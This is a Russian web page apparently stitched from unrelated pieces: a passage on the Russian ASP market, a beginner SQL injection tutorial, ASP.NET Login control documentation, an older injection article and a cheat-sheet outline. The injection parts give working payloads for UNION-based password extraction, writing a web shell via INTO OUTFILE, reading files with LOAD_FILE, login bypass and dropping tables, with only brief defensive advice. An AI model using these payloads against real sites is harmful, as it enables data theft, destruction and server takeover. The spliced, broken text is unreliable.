Базовые sql-инъекции в приложениях, использующих язык SQL. Руководство для чайников
В настоящее время нельзя утверждать, что в России сформировался полноценный рынок ASP. Российские пользователи в большинстве своем еще плохо воспринимают концепцию ASP как полезную для своего бизнеса. В настоящее время (на момент подготовки статьи) на российском рынке нет ни одного успешного примера полномасштабного внедрения ASP-модели на крупном предприятии. Фактически, есть только хостинг, отдельные реализованные элементы ASP-модели, компании, которые желают заниматься ASP-бизнесом и др. То есть, внедрения классической ASP-модели в России пока нет.
Сейчас на российском рынке ASP-модель применима только к персонализированным почтовым сервисам (Mail.ru, Beep.ru, Freemail.ru и др.) и к специализированным высокотехнологичным сервисам (например, баннерным и поисковым системам, системам Интернет-статистики и др.). При этом, под арендой почтовых сервисов подразумевается не просто предоставление персонального почтового ящика каждому отдельному пользователю. Бесплатные почтовые серверы широко используются в корпоративном секторе малыми предприятиями и частными предпринимателями. Основными клиентами таких сервисов являются компании, желающие организовать корпоративную почтовую службу (или автоматизировать корпоративный документооборот) или Интернет-провайдеры (например, порталы Rambler.ru, Yandex.ru и др.), желающие организовать службу бесплатной Web-почты для своей аудитории.
Наблюдается определенный интерес российских пользователей и к аренде электронных магазинов (витрин на электронной торговой площадке). И это вполне объяснимо. Так как успешных примеров онлайновой торговли в России пока еще очень и очень мало (несмотря на громкие заявления ряда компаний о своих впечатляющих достижениях), то наиболее разумным представляется потратить на порядок меньшие средства на аренду электронного магазина (чем покупать и поддерживать его). В случае неудачи проекта его можно достаточно быстро и без существенных потерь свернуть. Распространенная на Западе аренда ERP-приложений находится сейчас в России только на стадии пилотных проектов.
Из приложений, предлагаемых в аренду, можно отметить как относительно простые офисные пакеты (типа MS Office), так и более сложные приложения (типа Lotus Smart Suite), а также ERP-системы (типа Navision Axapta).
Основные проблемы и особенности российского рынка ASP.
10.2 Проблемы на российском рынке.В настоящее время российский рынок ASP отстает от мирового ASP-рынка по крайней мере на несколько лет. Зачаточное состояние российского рынка ASP вызвано рядом существующих на нем проблем. Основными из этих проблем являются:
1.Общее отставание российской экономики от западной и неразвитость технической инфраструктуры предприятий. До сих пор большинство российских предприятий работает на созданной еще десятилетия назад технической инфраструктуре. В настоящее время инвестиции предприятий в ее модернизацию еще недостаточны. И здесь проблема скорее финансовых приоритетов предприятий, т.к. не все из них могут инвестировать необходимые средства в модернизацию технической инфраструктуры. Поэтому им приходится решать свои текущие проблемы за счет уже имеющейся инфраструктуры.
2.Низкий спрос на сервисы ASP. Население и корпоративные клиенты не готовы (в своем большинстве) платить за услуги ASP. Если для среднестатистического российского потребителя сейчас просто есть более насущные и жизненно важные приоритеты в расходах, то корпоративные пользователи пока не воспринимают ASP-услуги всерьез.
3.Слабость законодательной базы для электронного рынка. Пока не будет принят полный пакет законов, говорить о развитии электронного рынка (в том числе и ASP) не приходится.
4.Закрытость финансовой отчетности корпоративных клиентов (особенно наиболее платежеспособных предприятий).
5.Сопротивление ИТ-департаментов (как явное, так и неявное) крупных компаний, которым приходится переориентироваться на другие задачи, сокращать сотрудников и ИТ-бюджеты и др.
6.Небольшое количество приложений, которые можно использовать в ASP-модели для российских предприятий.
7.Наличие на российском рынке труда достаточно большого числа ИТ-специалистов начального и среднего уровня с относительно невысокими зарплатами. После кризиса 1998 г. в подавляющем большинстве размер зарплаты ИТ-специалистов остался на прежнем послекризисном уровне. Небольшим и средним компаниям иногда дешевле содержать собственные ИТ-службы, чем платить за ASP-сервисы (в отличие от западных компаний, где ситуация прямо противоположная).
Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.
Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.
Что же такое SQL инъекция? Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.
Подготовка Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php Поиск SQL injectionКак Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!
Числовой входящий параметр Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.Т.к. у нас запрос не имеет фильтрации:
$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";
Скрипт поймет это как
И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16
Если ошибку не выдало - могут быть следующие причины:
1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.
Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.
Строковой входящий параметрЗапросы будем посылать на index2.php
. В данном файле, запрос имеет вид:
$user = $_GET["user"];
$query = "SELECT * FROM news WHERE user="$user"";
Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:
Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.
Приступаем к действиям Немного теорииНаверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.
ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20
Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra
Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:
Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr
Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.
Извлекаем из этого пользуЕсли параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .
Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.
Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.
Подбираем количество полейПодбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.
Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:
Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.
Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5
Определение выводимых столбцов Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5
Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.
Допустим мы знаем, что еще существует таблица users
в которой существуют поля id
, name
и pass
.
Нам нужно достать Информацию о пользователе с ID=1
Следовательно построим такой запрос:
Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить
Для этого, мы подставим название полей, за место цифр 1 и 3
Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!
Для «строкового входящего параметра», как в скрипте index2.php
нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20 Чтение файлов Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:
Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20
Таким образом, мы прочитали предыдущий записанный файл.
Способы защитыЗащититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь malroc . Защищаться использованием PDO или prepared statements.
И запомните, не доверяйте ни одному пользователю Вашего сайта.
Теги: Добавить метки
Элемент управления Login
Элемент управления Login упрощает создание страницы входа для аутентификации с помощью форм в сочетании с Membership API. Он предоставляет готовый к применению пользовательский интерфейс, запрашивающий имя и пароль пользователя и предлагающий кнопку для входа пользователя. "За кулисами" он инкапсулирует функциональность, которая была описана в предыдущей статье: проверку удостоверений пользователей через Membership API и инкапсуляцию базовой функциональности аутентификации с помощью форм, такой как перенаправление к изначально запрошенной странице в защищенной области приложения после успешного входа.
Это значит, что Login инкапсулирует такие вещи, как Membership.ValidateUser() или FormsAuthentication.RedirectFromLoginPage(), поэтому писать этот код самостоятельно не придется. На рисунке ниже показан элемент управления Login в действии:
Всякий раз, когда пользователь щелкает на кнопке Log In (Войти), элемент управления автоматически проверяет имя и пароль, применяя для этого функцию Membership.ValidateUser(), а затем вызывает FormsAuthenication.RedirectFromLoginPage(), если проверка прошла успешно. Все опции элемента управления Login влияют на ввод, доставляемый им в эти метода. Например, если отметить флажок Remember me next time (Запомнить учетные данные), он передаст значение true в параметре createPersistentCookie метода RedirectFromLoginPage(). Поэтому FormsAuthenticationModule создает постоянный cookie-набор.
"За кулисами" Login представляет собой составной элемент управления ASP.NET. Он полностью расширяем - в том смысле, что позволяет переопределять любые стили компоновки и свойства, а также перехватывать генерируемые события для переопределения его поведения по умолчанию. Если оставить элемент управления без изменений, как он есть, и не перехватывать никаких событий, то он автоматически будет использовать поставщик членства, сконфигурированный для приложения.
Простейшая форма элемента управления Login на странице выглядит следующим образом:
Для изменения внешнего вида элемента управления Login предназначено несколько свойств. Можно применять разные установки стилей, как показано ниже:
Кроме того, для настройки внешнего вида Login можно использовать классы CSS. Каждое свойство стиля, поддерживаемое элементом управления Login, включает свойство CssClass. Как и в случае любого другого элемента управления ASP.NET, это свойство позволяет указать имя класса CSS, который был добавлен ранее к веб-сайту. Предположим, что в проект добавлена следующая таблица стилей CSS с именем файла MyStyles.css:
MyLoginTextBoxStyle { cursor: pointer; background-color: yellow; text-align: center; padding:6px; border: dotted black; font-family: Verdana; vertical-align: middle; } .Login { display:inline-block; } .Title { padding: 6px; }
Этот файл стиля можно включить в страницу входа, чтобы иметь возможность использовать стиль для элемента Login:
В таблице ниже перечислены стили, поддерживаемые элементом управления Login. Каждый стиль работает одним и тем же способом. Свойства шрифта и цвета можно устанавливать непосредственно или применять свойство CssClass для указания нужного класса CSS:
CheckBoxStyle | Определяет свойства стиля для флажка Remember me next time (Запомнить учетные данные) |
FailureStyle | Определяет стиль для текста, который отображается а случае неудачного входа |
HyperLinkStyle | Элемент управления Login позволяет определить несколько типов гиперссылок, например, на страницу начальной регистрации. Этот стиль задает внешний вид таких гиперссылок |
InstructionTextStyle | Элемент управления Login позволяет указать текст справки, отображаемый непосредственно в нем самом. Этот стиль задает внешний вид этого текста |
LabelStyle | Определяет стиль для меток User Name (Имя пользователя) и Password (Пароль) |
LoginButtonStyle | Определяет стиль кнопки входа |
TextBoxStyle | Определяет стиль для текстовых полей User Name (Имя пользователя) и Password (Пароль) |
TitleTextStyle | Определяет стиль текста заголовка для элемента управления Login |
ValidatorTextStyle | Определяет стили для элементов управления, используемых для проверки имени и пароля пользователя |
Пользовательский интерфейс элемента Login настраивается не только через эти стили; другие дополнительные свойства предназначены для определенных частей содержимого элемента управления, таких как кнопка Log In, которые также позволяют настроить графический интерфейс.
Например, можно выбрать текст, отображаемый на кнопке входа, либо вообще отображать вместо этой кнопки (как установлено по умолчанию) гиперссылку. Более того, к элементу управления Login можно добавить несколько гиперссылок, таких как ссылка на страницу справки или на страницу регистрации. Обе страницы должны быть открыты для анонимного доступа, поскольку справка должна предлагаться также анонимным пользователям (вспомните, что если кто-то видит элемент управления Login, то он - потенциально анонимный пользователь). Чтобы включить дополнительные ссылки в Login, модифицируйте ранее показанное определение следующим образом:
...
Этот код приводит к отображению двух дополнительных ссылок - на страницу справки и на страницу первоначальной регистрации, а также добавляет текст краткой инструкции под заголовком элемента Login:
Стили, описанные ранее, применимы и к этим свойствам. В таблице ниже описаны важные свойства для настройки элемента управления Login:
Текст сообщений | |
TitleText | Текст, отображаемый в заголовке элемента управления |
InstructionText | Это свойство уже использовалось в предыдущем фрагменте кода. Содержит текст, отображаемый ниже заголовка элемента управления |
FailureText | Текст, отображаемый элементом управления Login, если попытка входа не удалась |
UserNameLabelText | Текст, отображаемый в виде метки перед текстовым полем имени пользователя |
PasswordLabelText | Текст, отображаемый в виде метки перед текстовым полем пароля пользователя |
UserName | Начальное значение, заполняющее текстовое поле имени пользователя |
UsernameRequiredErrorMessage | Сообщение об ошибке, отображаемое, если пользователь не ввел имя |
PasswordRequiredErrorMessage | Сообщение об ошибке, отображаемое, если пользователь не ввел пароль |
Кнопка входа | |
LoginButtonText | Текст, отображаемый на кнопке входа |
LoginButtonType | |
LoginButtonImageUrl | Если кнопка входа представлена как графическое изображение, необходимо указать URL, где находится это изображение |
Страница входа | |
DestinationPageUrl | Если попытка входа была успешной, элемент управления Login перенаправляет пользователя на эту страницу. По умолчанию это свойство пусто. При пустом значении используется инфраструктура аутентификации с помощью форм для перенаправления либо на исходную запрошенную страницу, либо на defaultUrl, сконфигурированный в web.config для аутентификации с помощью форм |
FailureAction | Определяет действие, которое элемент управления выполняет после неудачной попытки входа. Два допустимых варианта - Refresh и RedirectToLoginPage. Первое значение приводит к обновлению только текущей страницы, а второе - к перенаправлению на сконфигурированную страницу входа. Второй вариант полезен, если элемент управления Login используется где-то в другом месте, а не на странице входа |
VisibleWhenLoggedIn | Если установлено в false, то элемент управления автоматически скрывает себя, если пользователь уже вошел. Если установлено в true (по умолчанию), то элемент Login отображается, даже если пользователь совершил вход |
Настройка метки "Запомнить меня" | |
DisplayRememberMe | Позволяет показывать или скрывать флажок Remember me next time (Запомнить меня). По умолчанию это свойство установлено в true |
RememberMeSet | Определяет значение по умолчанию флажка Remember me next time. По умолчанию это свойство установлено в false, т.е. флажок не отмечен |
Страница регистрации | |
CreateUserUrl | Определяет гиперссылку на страницу веб-сайта, которая позволяет создавать (регистрировать) пользователя. Таким образом, это обычно используется для открытия пользователю доступа к странице первичной регистрации. Обычно при этом отображается элемент управления CreateUserWizard |
CreateUserText | |
CreateUserIconUrl | URL-адрес графического изображения, выводимого вместе с текстом гиперссылки CreateUserUrl |
Страница помощи | |
HelpPageUrl | URL-адрес для перенаправления пользователя на страницу справки |
HelpPageText | |
HelpPageIconUrl | URL-адрес значка, отображаемого вместе с текстом гиперссылки HelpPageUrl |
Страница восстановления пароля | |
PasswordRecoveryUrl | URL-адрес для перенаправления пользователя на страницу восстановления пароля. Эта страница применяется, когда пользователь забыл пароль. Обычно она отображает элемент управления PasswordRecovery |
PasswordRecoveryText | |
PasswordRecoveryIconUrl | URL-адрес значка, отображаемого вместе с текстом гиперссылки PasswordRecoveryUrl |
Как видите, благодаря всем этим свойствам элемент управления Login настраивается очень гибко. Но как вы, скорее всего, обратили внимание, определить какое-нибудь выражение для проверки достоверности ввода невозможно. Конечно, можно реализовать проверку достоверности на стороне сервера внутри процедур событий, предлагаемых элементом управления Login. Когда требуется добавить какие-то элементы к составному элементу управления Login, это не получится сделать через представленные выше свойства. Например, что если понадобится второе текстовое поле для надежной аутентификации со вторым паролем или пользовательским ключом доступа, как это делается на некоторых правительственных сайтах?
К счастью, подобно другим элементам управления, таким как GridView, элемент Login поддерживает шаблоны. С помощью шаблонов можно настраивать содержимое элемента управления Login без каких-либо ограничений. К нему можно добавлять любые новые элементы управления. Применяется специальный шаблон к элементу управления Login с помощью дескриптора LayoutTemplate :
Войти в систему
Имя пользователя: | |
Пароль: |
0)
{
Login(cn);
}
}
cn.close();
Main();
%>
Уязвимость здесь содержиться в "process_login.asp", который создает запрос следующего вида: Var sql = "select * from users where username = "" + username + "" and password = "" + password + """; Если пользователь введет: Username: "; drop table users-- Password: таблица "users" будет удалена, что закроет доступ к приложению для всех пользователей. Сочетание "--" в Transact-SQL определяет однострочный комментарий, а ";" обозначает конец одной строки и начало другой. Два последовательных тире в данном запросе используются с целью завершить запрос без ошибок. Более того, злоумышленник может зайти в систему под любым именем пользователя, используя следующую конструкцию: Username: admin"-- А введя следующую информацию взломщик сможет зайти в систему в качестве выдуманного пользователя: Username: " union select 1, "fictional_user", "some_password", 1-- Причиной работоспособности этого способа заключается в том, что приложение "поверит", что вернувшийся фиктивный результат является набором записей из базы данных. Получение информации, основываясь на сообщениях об ошибкахИзобретателем этой методики является David Litchfield, исследователь в области испытаний на проникновение (с целью проверки системы защиты). Позже David написал работу на эту тему, на которую ссылались многие другие авторы. В его работе объясняется механизм, использования сообщений об ошибках - "error message" technique. В своем труде он полностью объясняет читателям данную методику, и дает дальнейший толчок в развитии собственного понимания данной проблемы. Для успешного управления данными, злоумышленник должен знать структуру баз и таблиц, к которым он хочет получить доступ. Например, таблица наших "users" создана при помощи следующей комманды: Create table users(id int, username varchar(255), password varchar(255), privs int) И содержит следующих пользователей: Insert into users values(0, "admin", "r00tr0x!", 0xffff) insert into users values(0, "guest", "guest", 0x0000) insert into users values(0, "chris", "password", 0x00ff) insert into users values(0, "fred", "sesame", 0x00ff) Предположим наш хакер хочет вставить собственную запись в таблицу. Вряд ли ему это удастся, если он не знает её структуры. Но даже если ему это и удастся, то значение поля "privs" так и останется непонятным. Взломщик может вставить значение "1", создав себе аккаунт с низкими привелегиями, в то время как ему необходим доступ на уровне администратора приложения. К счастью, для хакера стандартное поведение ASP на ошибки - отображение сообщений о них, с их помощью полностью определив структуру базы данных, а следовательно узнать значения всех полей из аккаунтов пользователей, которые занесены в базу приложения. (В следующем примере мы будем использовать предложенную выше базу данных, а также asp скрипт, чтобы показать эту методику в действии.) Во-первых, взломщик захочет установить имена таблиц, с которыми работают запросы, а также имена полей. Для достижения поставленной цели злоумышленник будет использовать конструкцию "having" в select выражения: Username: " having 1=1-- Которое вызовет следующую ошибку: Microsoft OLE DB Provider for ODBC Drivers error "80040e14" Column "users.id" is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Таким образом, зная имена таблиц и имя первой колонки в ней. Эту процедуру можно продолжать при помощи оператора "group by", как показано ниже: Username: " group by users.id having 1=1-- (которое в свою очередь породит новую ошибку) Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
Column "users.username" is invalid in the select list because it is not contained
in either an aggregate function or the GROUP BY clause.
В итоге хакер придет следующей конструкции: Шпаргалка по SQL-инъекциям создана для сводного описания технических особенностей различных типов уязвимостей SQL-injection. В статье представлены особенности проведения SQL-инъекций в MySQL , Microsoft SQL Server , ORACLE и PostgreSQL . 0. Введение
В настоящий момент памятка содержит информацию только для MySQL, Microsoft SQL Server и некоторые данные для ORACLE и PostgreSQL. Разделы содержат синтаксис, пояснения и примеры инъекций. Используемые обозначения: 1. Строчные комментарии
2. Блочные комментарии
/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename ID: /*!32302 10*/ ID: /*!32302 1/0, */ 3. Последовательность запросов
4. Условные операторы
5. Использование чисел
6. Конкатенация строк
CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members 7. Строки без кавычек
В MySQL есть простой способ представления строки в виде hex-кода: Возвращает строку “KLM”: 8. Преобразование строк и чисел.
CHAR() (SM): SELECT CHAR(64) 9. Оператор UNION
10. Обход проверки подлинности (SMO+)
11. Обход проверки подлинности с использованием MD5
12. Error Based
12.2 Определение количества столбцов с помощью ORDER BY (MSO+)
13. Определение типа данных
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL-- 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 – 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –- 14. Простая вставка (MSO+)
15. Сбор информации
16. Сложная вставка (S)
17. BCP (S)
18. VBS, WSH в SQL Server (S)
19. Выполнение системных команд (S)
20. Специальные таблицы в SQL Server (S)
21. Несколько хранимых процедур для SQL Server (S)
22. MSSQL Bulk Notes
23. SQL-инъекция в LIMIT (M) запросах
24. Выключение SQL Server (S)
25. Enabling xp_cmdshell in SQL Server 2005
26. Поиск структуры БД в SQL Server (S)
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames") 27. Перемещение записей (S)
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id Восстановление пароля
|